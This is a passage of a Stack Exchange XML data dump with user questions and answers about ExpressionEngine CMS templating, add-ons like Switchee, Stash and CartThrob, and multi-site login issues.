rel=&quot;nofollow&quot;&gt;http://domain.com/dynmic-url/admin/communicate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have looked into &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;freebie&lt;/a&gt;, and it would work perfect for my needs. If there is a workaround for segment_1 removal with Freebie it would be nice to hear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found a great schematic/flowchart for EE urls. might be helpful to others looking into this issue.  &lt;a href=&quot;http://www.jamessmith.co.uk/images/ExpressionEngine_url_schematic.png&quot; rel=&quot;nofollow&quot;&gt;EE Url Schematic&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="386" LastEditDate="2014-06-10T14:39:38.633" LastActivityDate="2014-06-10T14:39:38.633" Title="Using Dynamic URL's in {Segment_1}" Tags="|url|segments|freebie|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22477" PostTypeId="2" ParentId="22476" CreationDate="2014-06-05T19:22:32.340" Score="2" Body="&lt;p&gt;As long as you don't have a template or template group named that url title, you can code your index template to take in {segment_1} as a url_title.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; {if segment_1}url_title=&quot;{segment_1}&quot; dynamic=&quot;no&quot;{/if}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit: This only works if you set strict url's to no&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-06-05T19:40:53.110" LastActivityDate="2014-06-05T19:40:53.110" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22478" PostTypeId="2" ParentId="22475" CreationDate="2014-06-05T19:39:21.390" Score="0" Body="&lt;p&gt;I would use the channel entries tags and set a limit to the number of post that show. Then I would only show the post that are made sticky. Below is an example of what I am talking about.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;news&quot; limit=&quot;2&quot;}&#xA;&#xA;  {if sticky == 'y'}&#xA;&#xA;    HTML code here....&#xA;&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3192" LastEditorUserId="343" LastEditDate="2014-06-05T23:49:57.500" LastActivityDate="2014-06-05T23:49:57.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22479" PostTypeId="1" AcceptedAnswerId="22492" CreationDate="2014-06-05T20:04:37.050" Score="0" ViewCount="112" Body="&lt;p&gt;I need to pass a list of the first level of categories to a nested switchee. The following works when I manually place the nested list. However I would like the client to be able to add/edit categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;#^P(/d+)$#|category|''&quot;}&#xA;&#xA;    {switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;      {case value=&quot;walls|seating|workstation|training|private-offices|ergo|meeting-media-room&quot;}{!--level 1 category listing--}&#xA;        first level category listing here&#xA;      {/case}{!--level 1 category listing--}&#xA;&#xA;      {case default=&quot;yes&quot;}{!--level 2 category listing--}&#xA;&#xA;        2nd level category listing here&#xA;&#xA;      {/case}{!--level 2 category listing--}&#xA;&#xA;    {/switchee}{!--end nested switchee--}&#xA;&#xA;&#xA;  {/case}{!--listing &amp;amp; category listing--}&#xA;&#xA;  {case value=&quot;value&quot; default=&quot;yes&quot;}&#xA;    single entry here&#xA;  {/case}{!--single--}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I replace the case value list with the code below it doesn't work. I'm sure it's something to do with parse order, but am stuck. If I place the code below elsewhere in the template it outputs what I need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;products&quot; depth=&quot;1&quot; style=&quot;linear&quot; backspace=&quot;1&quot;}{cat_name}|{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possibly this could be done with Stash, but I've never been able to grok how to use stash.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-06-06T08:59:18.127" Title="Pass first level categories to switchee case value" Tags="|switchee|template-scripting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22480" PostTypeId="2" ParentId="22475" CreationDate="2014-06-05T20:31:21.090" Score="1" Body="&lt;p&gt;You could use a a custom field - checkbox or dropdown so you know what the value will be - and a channel:entries tag pair using the search parameter to find entries with that value in the custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a status - but I dislike status because once you go past using just &quot;open&quot; statuses you have to declare all your status everywhere (IE the &quot;featured&quot; status entries won't show unless you tell them to even in places where they need to appear along with the open entries).&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-05T20:31:21.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22481" PostTypeId="2" ParentId="22479" CreationDate="2014-06-05T20:47:16.803" Score="1" Body="&lt;p&gt;&lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; is the villain here. Switchee is being parsed before the &lt;code&gt;exp:gwcode_categories&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I believe you need the parameter, your option is to force &lt;code&gt;exp:gwcode_categories&lt;/code&gt; to be parsed early. Let's try using embeds.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;group/template&quot; categories=&quot;{exp:gwcode_categories channel=&quot;products&quot; depth=&quot;1&quot; style=&quot;linear&quot; backspace=&quot;1&quot;}{cat_name}|{/exp:gwcode_categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, on embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;#^P(/d+)$#|category|''&quot;}&#xA;&#xA;    {switchee variable=&quot;{segment_3}&quot;}&#xA;&#xA;      {case value=&quot;{embed:categories}&quot;}{!--level 1 category listing--}&#xA;        first level category listing here&#xA;      {/case}{!--level 1 category listing--}&#xA;&#xA;      {case default=&quot;yes&quot;}{!--level 2 category listing--}&#xA;&#xA;        2nd level category listing here&#xA;&#xA;      {/case}{!--level 2 category listing--}&#xA;&#xA;    {/switchee}{!--end nested switchee--}&#xA;&#xA;  {/case}{!--listing &amp;amp; category listing--}&#xA;&#xA;  {case value=&quot;value&quot; default=&quot;yes&quot;}&#xA;    single entry here&#xA;  {/case}{!--single--}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's yet some room for improvement here. For example, you're checking for &lt;code&gt;segment_3&lt;/code&gt; even if &lt;code&gt;segment_2&lt;/code&gt; is empty.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-05T20:47:16.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22482" PostTypeId="2" ParentId="22470" CreationDate="2014-06-05T22:24:56.000" Score="0" Body="&lt;p&gt;Numpty alert...fixed. The original code was in fact working fine, I had a stray tag in my template that had an empty parameter value - hence the null value in the  SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:-/&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-06-05T22:24:56.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22483" PostTypeId="2" ParentId="749" CreationDate="2014-06-05T23:21:34.460" Score="-4" Body="&lt;p&gt;**Not advised to change core ** but you may comment out the below line at to hide it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;system/fieldtypes/date/ft.date.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LINE 249&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$r .= form_dropdown($date_local, $localized_opts, $localized, 'dir=&quot;'.$text_direction.'&quot;');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;TO &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;// $r .= form_dropdown($date_local, $localized_opts, $localized, 'dir=&quot;'.$text_direction.'&quot;');  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3193" LastActivityDate="2014-06-05T23:21:34.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22484" PostTypeId="2" ParentId="22448" CreationDate="2014-06-06T00:02:45.327" Score="0" Body="&lt;p&gt;I'm not really sure if it's possible to do this in a native way with the Channel Entries API, if someone knows a way please post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I believe you can do grid field updates in your add-ons by using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE Database Class&lt;/a&gt; and inserting/updating the corresponding grid table directly with a mysql query.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you examine your database tables, you will see that grid fields create their own tables, named &lt;code&gt;exp_channel_grid_field_##&lt;/code&gt; (where ## is your field number).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also see that each &lt;code&gt;exp_channel_grid_field_##&lt;/code&gt; entry is associated by entry_id to the corresponding &lt;code&gt;channel_title entry_id, and each column_id_#&lt;/code&gt; is for the corresponding column you've set within the grid.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="7185" LastEditDate="2017-02-06T15:08:54.317" LastActivityDate="2017-02-06T15:08:54.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22485" PostTypeId="1" AcceptedAnswerId="22489" CreationDate="2014-06-06T02:20:46.833" Score="0" ViewCount="195" Body="&lt;p&gt;I would like to populate a custom select field added to a channel, with a list of members that have a certain selection from a custom member field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the list of members currently in PHP,  I get the id of the particular member field, then search the members list for a match on this field. And I have tried to inject this list to the custom select field via javascript, but on form post the validation fails with 'Invalid Selection', as the injected options are not accepted as valid against that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to populate the custom select field with a list of members selected on a value of a custom member field?&lt;/p&gt;&#xA;" OwnerUserId="2278" LastActivityDate="2014-06-11T00:14:18.130" Title="Pre-populate a channel custom select field with a list of certain members" Tags="|members|custom-fields|pre-populate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22486" PostTypeId="2" ParentId="22343" CreationDate="2014-06-06T02:52:57.260" Score="1" Body="&lt;p&gt;At its core, Transcribe provides three main functions for translating websites:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It lets you set up languages and will detect from the URL which of those languages the user wants.&lt;/li&gt;&#xA;&lt;li&gt;It allows you to have different language versions of the same channel entry (e.g. About Us and Over ons) and (using step 1) gives you the correct language version in your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;It gives you variables to abstract out what would otherwise be hard-coded strings in your templates (you can create, for instance a variable called &lt;code&gt;{more_label}&lt;/code&gt; which in English you would set to &quot;Read More...&quot; And in Dutch &quot;Leer meer...&quot;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In your case, since you are not using a channel entry, I see two easy choices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your page contains just snippets of information to translate (for instance, form field labels for a contact form), and the templates look the same in both languages, you can make use of variables in the same template file. &lt;a href=&quot;http://eeharbor.com/transcribe/documentation#variables&quot; rel=&quot;nofollow&quot;&gt;EE Harbor has good documentation.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to keep two template files for whatever reason (you don't want to use variables, your templates are different or the content is significantly different, that's just how you like it), you can have a contact/_contact-en.html and a contact/_contact-nl.html, and in your contact/index.html use the Transcribe tag &lt;code&gt;{transcribe:language_abbreviation}&lt;/code&gt; to embed the right language:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{if transcribe:language_abbreviation == &quot;en&quot;}&#xA;    {embed=&quot;contact/_contact-en&quot;}&#xA;{if:else}&#xA;    {embed=&quot;contact/_contact-nl&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2014-06-06T02:52:57.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22487" PostTypeId="1" CreationDate="2014-06-06T05:41:54.670" Score="0" ViewCount="510" Body="&lt;p&gt;I seem to be a bind. I have this code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;foreach ($items as $item)&#xA;{&#xA;&#xA;    ?&amp;gt;&#xA;    {exp:channel:entries&#xA;        channel=&quot;foo&quot;&#xA;        search:field_name=&quot;&amp;lt;?php echo $item['some_key']; ?&amp;gt;&quot;&#xA;        limit=&quot;1&quot;&#xA;    }&#xA;        {if no_results}&#xA;            &amp;lt;td&amp;gt;None&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;0.0&amp;lt;/td&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;td&amp;gt;{some_cost}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            &amp;lt;?php&#xA;                $price = number_format( floatval(&quot;{some_cost}&quot;) + floatval(&quot;{some_margin}&quot;), 1);&#xA;                echo $price;&#xA;            ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;?php &#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I need to pass the value of a PHP variable into the channel entries tag. For this case,&#xA;we want PHP to parse early, before EE tags. So that means PHP parsing stage should be set to &quot;input&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also need to get the values of the EE tags inside the channel entries and compute them in PHP. However,&#xA;that means that we want PHP to parse late, after EE tags are parsed. That could be done if PHP parsing stage&#xA;should be set to &quot;output&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, I can't set PHP parsing stage to both values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this problem?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-06T06:15:01.960" Title="PHP parsing stage" Tags="|php|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22488" PostTypeId="2" ParentId="22487" CreationDate="2014-06-06T06:15:01.960" Score="3" Body="&lt;p&gt;Do this right way - do not follow the dark side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put all your php code into plugin. Your code is not good even from optimization way - not good solution to loop the channel entry. Just make function which will return list of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item['some_key']|$item['some_key']|$item['some_key']|$item['some_key']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case you will do only one request of channel:entry. For calculation &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$price = number_format( floatval(&quot;{some_cost}&quot;) + floatval(&quot;{some_margin}&quot;), 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;make one more function or use exist plugin (like MX Calculator);&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-06-06T06:15:01.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22489" PostTypeId="2" ParentId="22485" CreationDate="2014-06-06T07:25:10.427" Score="0" Body="&lt;p&gt;There are a couple of fieldtypes on devot-ee that will let you run custom SQL queries and display the results as a dropdown for the user to select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one: &lt;a href=&quot;http://devot-ee.com/add-ons/query-field&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/query-field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't tested it myself but something like that should solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-06-06T07:25:10.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22490" PostTypeId="2" ParentId="22473" CreationDate="2014-06-06T07:25:13.527" Score="1" Body="&lt;p&gt;I tend to agree with what's been said about LV versus regular Channel Entries in your case, but to actually answer your question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd add a column to the LV Grid var, eg. &lt;code&gt;url_title&lt;/code&gt;, where you enter a slug for that row. Then, using that slug in the URI, you can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#search-column-name&quot; rel=&quot;nofollow&quot;&gt;the search:column_name parameter&lt;/a&gt; on the Pair tag to filter out just that row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;my_grid_var&quot; search:url_title=&quot;={segment_3}&quot;}&#xA;    ...&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;=&lt;/code&gt; &lt;em&gt;inside&lt;/em&gt; the parameter &lt;code&gt;search:url_title&lt;/code&gt; to trigger &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#exact-matching&quot; rel=&quot;nofollow&quot;&gt;exact matching&lt;/a&gt;. Also, it doesn't have to be a 'url_title', but can be any column name that you can use to uniquely identify a row.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-06T07:25:13.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22492" PostTypeId="2" ParentId="22479" CreationDate="2014-06-06T08:59:18.127" Score="2" Body="&lt;p&gt;With Stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;categories&quot; parse_tags=&quot;yes&quot;}{exp:gwcode_categories channel=&quot;products&quot; depth=&quot;1&quot; style=&quot;linear&quot; backspace=&quot;1&quot;}{cat_name}|{/exp:gwcode_categories}{/exp:stash:set}&#xA;&#xA;{exp:stash:parse}&#xA;  {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^P(/d+)$#|category|''&quot;}&#xA;&#xA;      {switchee variable=&quot;{segment_3}&quot;}&#xA;&#xA;        {case value=&quot;0|{stash:categories}&quot;}{!--level 1 category listing--}&#xA;          first level category listing here&#xA;        {/case}{!--level 1 category listing--}&#xA;&#xA;        {case default=&quot;yes&quot;}{!--level 2 category listing--}&#xA;&#xA;          2nd level category listing here&#xA;&#xA;        {/case}{!--level 2 category listing--}&#xA;&#xA;      {/switchee}{!--end nested switchee--}&#xA;&#xA;    {/case}{!--listing &amp;amp; category listing--}&#xA;&#xA;    {case value=&quot;value&quot; default=&quot;yes&quot;}&#xA;      single entry here&#xA;    {/case}{!--single--}&#xA;  {/exp:switchee}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-06-06T08:59:18.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22493" PostTypeId="1" AcceptedAnswerId="23610" CreationDate="2014-06-06T10:43:53.337" Score="1" ViewCount="127" Body="&lt;p&gt;I know that one can set a maximum size (in pixels) for images uploaded through the CP, but is there any way to set a &lt;em&gt;minimum&lt;/em&gt; size? (Ideally without buying a complete image manipulation suite like CE Images, since this is a low budget site and this is the only feature I'd need).&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-06-11T05:25:41.270" Title="Minimum size for image upload" Tags="|image|uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22495" PostTypeId="1" AcceptedAnswerId="24361" CreationDate="2014-06-06T11:34:29.037" Score="0" ViewCount="59" Body="&lt;p&gt;I'm having an issue trying to display cart_total on a CartThrob cart overview template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several items in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of the following display $0.00 for a total:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;  {cart_total}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&#xA;{exp:cartthrob:cart_total}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet cart subtotal works just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_subtotal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other tags for displaying shipping totals, taxes, etc are also working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scratching my head a bit, or maybe I'm just missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any suggestions or solutions.&lt;/p&gt;&#xA;" OwnerUserId="1255" LastActivityDate="2016-05-02T13:45:44.337" Title="CartThrob cart_total doesn't display" Tags="|cartthrob|shopping-cart|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22496" PostTypeId="1" AcceptedAnswerId="23570" CreationDate="2014-06-06T11:55:44.860" Score="2" ViewCount="56" Body="&lt;p&gt;Just wondered if anyone had previously used either CT or Store for product hire or rent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a potential project that requires the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The client has a contract to supply wheelchairs to events at a particular venue. This service could develop to cover more venues across the UK so the system should be designed to include multiple venues, events and dates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Client manages the listing and adds events by location, event title and date. The client selects which items can be available at each location. Visitors can search by keyword, event, location or date and will be shown a list of results that can be filtered. Or alternatively, they could choose a product and then the event.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once an event is chosen, the client can choose which item/product they would like to hire and go through the purchase process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The system will log the booking and send confirmation emails to the customer. The site could also check stock levels and either show ‘out of stock’ when the limit is reached or send an email notice to the client.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm just looking for pointers as to the best way to achieve the above using one of the add-ons mentioned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relationships could be used to assign products to venues, it's assigning the product to the event in some way that decreases the stock level only for that product for that event etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have good experience of using both but not in this way, so I imagine I might require some custom code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2014-06-10T07:48:33.220" Title="Can I use either Store or CT for event product hire/rent?" Tags="|expresso-store|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22499" PostTypeId="1" AcceptedAnswerId="22511" CreationDate="2014-06-06T15:23:19.080" Score="0" ViewCount="58" Body="&lt;p&gt;Can an EE administrator with CP access be able to re-assign member categories from the EE member admin area?&#xA;I have a Solspace User reg form that allows the user to select from a list of categories, question is how can administrators edit those categories on a per member basis from within EE CP?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-06-06T19:53:39.033" Title="Solspace User - editing member categories in CP" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22501" PostTypeId="1" CreationDate="2014-06-06T15:51:08.133" Score="1" ViewCount="364" Body="&lt;p&gt;EE 2.8.1 with MSM (4 sites)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've duplicated our production site to a development local environment. Same server configuration, with the exception of some path info. Production server and site is running fine, but we're redesigning the site, and don't want to work on production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, on our DEV side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of the sites (subdomains) work and I can view each of the subdomains from a 'visitor' view which tells me all looks good from the outside world, and I can log in to the default_site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I attempt to change to one of the other sites in CP, it logs me out and redirects to the admin login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I am unable to login, as it throws no error in the logs, and simply redisplays the login screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cleared browser cache/cookies, and I can login to the main site, but not access any other sites through CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read through several different listings and posts here, and on the EE dev forum. I've tried all the $config tricks and tickles, to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked all the paths to make sure they're correct in index.php/admin.php&#xA;In the exp_sites table, I've even checked all the serialized data to verify all is good there for each of the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly new to EE, and understand 2.8.1 and MSM are having some issues. If anyone has found other helpful things to look at, or poke, I would appreciate the responses!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1 with MSM Sites 2.1.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite all attempts to track down the issue, I am still unable to change sites within CP. When the redirect occurs, it sends back to login screen, and without clearing my browser cache/cookies, it will not allow admin to login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can login to the main site (after flushing browser cookies) and can do everything in the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps it is an issue with 2.1.5 MSM and 2.81 EE? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/expressionengine/config/config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version']                  = '281';&#xA;$config['license_number']               = &quot;xxx-xxxx-xxxx-xxxx&quot;;&#xA;$config['multiple_sites_enabled']       = &quot;y&quot;;&#xA;$config['index_page']                   = &quot;&quot;;&#xA;$config['debug']                        = '1';&#xA;$config['cp_url']                       = http://url.tomycontrolpanel.net/admin.php';&#xA;$config['is_system_on']                 = &quot;y&quot;;&#xA;$config['disable_csrf_protection']      = &quot;y&quot;;&#xA;$config['cookie_domain']                = &quot;.mydevdomain.com&quot;;&#xA;$config['cookie_httponly']              = &quot;&quot;;&#xA;$config['cookie_path']                  = &quot;&quot;;&#xA;$config['cookie_prefix']                = &quot;&quot;;&#xA;$config['admin_session_type']           = &quot;s&quot;;&#xA;$config['user_session_type']            = &quot;c&quot;;&#xA;$config['require_ip_for_login']         = &quot;n&quot;;&#xA;$config['secure_forms']                 = &quot;n&quot;;&#xA;$config['cp_session_ttl']               = 14400;&#xA;$config['user_session_ttl']             = 3600;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this config I am able to login to my default site CP, but I get logged out when changing to any site within my list of sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update-&gt;Updated:&lt;/strong&gt;&#xA;With MSM, be sure you have correctly set $assign_to_config variables in your index.php file for main site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $assign_to_config['site_name']  = 'site_short_name';&#xA; $assign_to_config['cp_url'] = 'webURL_to_control_panel';&#xA; $assign_to_config['site_url'] = 'webURL_To_website';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2015-12-16T17:33:50.483" LastActivityDate="2020-08-10T17:03:05.287" Title="Unable to change sites in cp - logs out admin" Tags="|ee2|multi-site-manager|authenticate|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22502" PostTypeId="1" CreationDate="2014-06-02T12:03:59.173" Score="2" ViewCount="611" Body="&lt;p&gt;I tried to implement the below extension on Expression Engine. It is loading fine on the registration page. But I can see a text box along with this recaptcha box. Can any one explain me how to remove the existing text box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/recaptcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/recaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Markup for the form is here: &lt;a href=&quot;http://jsfiddle.net/Jj8yk/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/Jj8yk/&lt;/a&gt;&lt;br&gt;&#xA;Screenshot of the problem is here: &lt;a href=&quot;https://unsee.cc/pozisute/&quot; rel=&quot;nofollow&quot;&gt;https://unsee.cc/pozisute/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3214" OwnerDisplayName="Abu Sithik" LastEditorUserId="366" LastEditDate="2014-06-11T20:55:52.727" LastActivityDate="2019-03-27T18:01:05.830" Title="How to disable default captcha input on Expression Engine" Tags="|captcha|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
